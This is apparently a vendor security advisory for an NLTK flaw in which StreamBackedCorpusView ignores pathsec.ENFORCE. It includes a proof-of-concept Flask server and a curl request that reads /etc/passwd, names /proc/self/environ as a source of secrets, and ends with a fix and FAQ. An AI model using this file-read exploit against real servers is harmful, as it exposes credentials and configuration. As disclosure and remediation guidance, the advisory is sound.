CVE-2026-63312

NLTK: StreamBackedCorpusView Bypasses pathsec.ENFORCE - Arbitrary Local File Read

def open(file, mode="r", **kwargs):
    validate_path(file, context="pathsec.open")
    return builtins.open(file, mode=mode, **kwargs)

# line 171, no validate_path() call
self._eofpos = os.stat(self._fileid).st_size

# line 208, calls builtins.open directly
self._stream = open(self._fileid, "rb")

# poc_server.py, StreamBackedCorpusView pathsec.ENFORCE bypass
from flask import Flask, request, jsonify
import nltk.pathsec as ps
from nltk.corpus.reader.util import StreamBackedCorpusView, read_line_block

# Strict mode enabled, expected to sandbox all file access
ps.ENFORCE = True

app = Flask(__name__)

@app.post("/read")
def read_file():
    fname = request.json.get("file")
    # fileid is user-controlled, passed directly to StreamBackedCorpusView
    # pathsec.ENFORCE = True is ignored, builtins.open() called internally
    view = StreamBackedCorpusView(fname, read_line_block, encoding="utf8")
    return jsonify({"file": fname, "content": view[0]})

app.run(host="0.0.0.0", port=8000)

curl -s -X POST http://localhost:8000/read \
  -H "Content-Type: application/json" \
  -d '{"file": "/etc/passwd"}'

• Type: Arbitrary Local File Read / Security Control Bypass
• CWE: CWE-22, CWE-284
• OWASP: A01:2021 – Broken Access Control

Affects web apps, REST APIs, and multi-tenant NLP pipelines where user input influences the fileid passed to NLTK corpus readers. Sensitive targets include /etc/passwd, /proc/self/environ (may contain AWS_SECRET_ACCESS_KEY, DATABASE_URL, etc.), and application config files.

The core issue is that operators who explicitly set ENFORCE = True to harden production deployments are left with a false security guarantee.

Suggested fix: Replace builtins.open() and os.stat() in the string-path branch with nltk.pathsec.open() and nltk.pathsec.validate_path().

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

Kodem intelligence

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1. What is CVE-2026-63312? CVE-2026-63312 is a high-severity path traversal vulnerability in nltk (pip), affecting versions <= 3.9.4. It is fixed in 3.10.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. Which versions of nltk are affected by CVE-2026-63312? nltk (pip) versions <= 3.9.4 is affected.
3. Is there a fix for CVE-2026-63312? Yes. CVE-2026-63312 is fixed in 3.10.0. Upgrade to this version or later.
4. Is CVE-2026-63312 exploitable, and should I be worried? Whether CVE-2026-63312 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether CVE-2026-63312 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix CVE-2026-63312? Upgrade nltk to 3.10.0 or later.